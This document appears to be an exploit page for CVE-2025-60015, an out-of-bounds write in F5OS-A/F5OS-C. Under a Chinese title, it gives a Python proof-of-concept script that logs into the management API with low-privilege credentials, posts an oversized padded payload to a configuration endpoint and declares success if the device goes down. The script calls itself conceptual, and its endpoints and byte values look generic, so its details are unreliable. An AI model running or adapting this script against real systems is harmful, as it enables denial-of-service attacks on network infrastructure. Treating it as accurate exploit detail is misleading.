CVE-2025-60015：F5OS-A和F5OS-C越界写入漏洞

# CVE-2025-60015 - F5OS-A/F5OS-C Out-of-Bounds Write PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the attack pattern. # Actual exploitation requires valid low-privilege credentials and adjacent network access. import socket import struct import ssl import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "192.168.1.1" # Target F5OS management interface IP TARGET_PORT = 443 # HTTPS management port USERNAME = "low_priv_user" # Low-privilege account credentials PASSWORD = "password123" def craft_malicious_payload(overflow_size=2048): """ Craft a malicious payload designed to trigger an out-of-bounds write. The payload contains an oversized buffer that exceeds the expected boundary in the vulnerable F5OS component. """ # Normal expected size for the parameter is typically 256 bytes normal_header = b"\x00\x01\x00\x10" # Protocol header command_id = struct.pack(">I", 0x0042) # Target command/operation ID padding = b"\x41" * overflow_size # Oversized data to trigger OOB write terminator = b"\x00\x00\x00\x00" return normal_header + command_id + padding + terminator def exploit(target_host, target_port, username, password): """ Attempt to exploit CVE-2025-60015 by sending a crafted payload to the F5OS management interface via an authenticated session. """ session = requests.Session() base_url = f"https://{target_host}:{target_port}" try: # Step 1: Authenticate with low-privilege credentials print("[*] Authenticating to F5OS management interface...") auth_response = session.post( f"{base_url}/api/v1/auth/login", auth=HTTPBasicAuth(username, password), verify=False, timeout=10 ) if auth_response.status_code != 200: print("[-] Authentication failed.") return False print("[+] Authentication successful.") # Step 2: Send crafted payload to trigger out-of-bounds write print("[*] Sending malicious payload to trigger OOB write...") payload = craft_malicious_payload(overflow_size=4096) exploit_response = session.post( f"{base_url}/api/v1/system/config", data=payload, headers={"Content-Type": "application/octet-stream"}, verify=False, timeout=15 ) print(f"[*] Response status: {exploit_response.status_code}") # Step 3: Check if system is still responsive (availability impact) try: health_check = session.get( f"{base_url}/api/v1/system/health", verify=False, timeout=5 ) if health_check.status_code == 200: print("[+] System still responsive - exploit may not have triggered.") else: print("[!] System unresponsive - possible DoS via OOB write triggered!") except requests.exceptions.RequestException: print("[!] System is DOWN - CVE-2025-60015 exploit successful (DoS)!") return True except Exception as e: print(f"[-] Error during exploitation: {e}") return False return False if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) exploit(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD)